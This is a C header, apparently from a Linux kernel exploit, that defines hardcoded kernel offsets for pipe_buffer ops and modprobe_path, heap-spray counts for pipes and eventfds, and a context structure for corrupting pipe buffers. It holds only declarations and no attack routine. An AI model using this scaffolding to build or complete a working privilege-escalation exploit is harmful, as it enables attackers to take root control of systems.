#ifndef EXPLOIT_H
#define EXPLOIT_H
#include <stdint.h>

#define CHECK(e)                                                               \
    ({                                                                         \
        typeof(e) e_ = (e);                                                    \
        (e_ >= 0) ? e_ : ({                                                    \
            perror(#e);                                                        \
            exit(e_);                                                          \
            1;                                                                 \
        });                                                                    \
    })

#define CHECK_V(e, v)                                                          \
    ({                                                                         \
        typeof(e) e_ = (e);                                                    \
        (e_ == v) ? e_ : ({                                                    \
            perror(#e);                                                        \
            exit(e_);                                                          \
            1;                                                                 \
        });                                                                    \
    })

#define __START_KERNEL_map 0xffffffff80000000UL
#define STARTUP_QW 0xe800a03f51258d48
#define pipesz(kmsz) ((kmsz / 64) * 0x1000)
#define NUM_PIPES 0x120
#define NUM_EVFD 0x4000
#define PBUF_OPS_OFF (0xffffffffa8014100ULL - 0xffffffffa7800000ULL)
#define MODPROBE_OFF (0xffffffff8da398c0 - 0xffffffff8d000000)

// https://elixir.bootlin.com/linux/v4.14.190/source/include/linux/pipe_fs_i.h#L21
struct pipe_buffer {
    uint64_t page;
    unsigned int offset, len;
    uint64_t ops;
    unsigned int flags;
    unsigned long private;
};

struct pipe_rw {
    int r, w;
};

enum ktype { KHEAP, KIMG };

typedef struct exploit_ctx {
    union {
        unsigned char *pipe_data;
        uint64_t *pipe_data_qw;
        struct pipe_buffer *pbuf;
    };
    struct pipe_rw *corrupt;
    struct pipe_rw *corrupting;
    struct pipe_buffer *corrupting_buf;
    struct pipe_buffer *corrupt_buf;
    struct pipe_rw *pipes;
    int evfds[NUM_EVFD];
    int eventfd_idx;
    uint64_t page_addr;
    uint64_t page_offset;
    uint64_t pbuf_ops;
    uint64_t tmp_page;
    uint64_t vmemmap_base;
    uint64_t kbase;
    uint64_t kvoff;
} exploit_ctx;

static void exploit();

#endif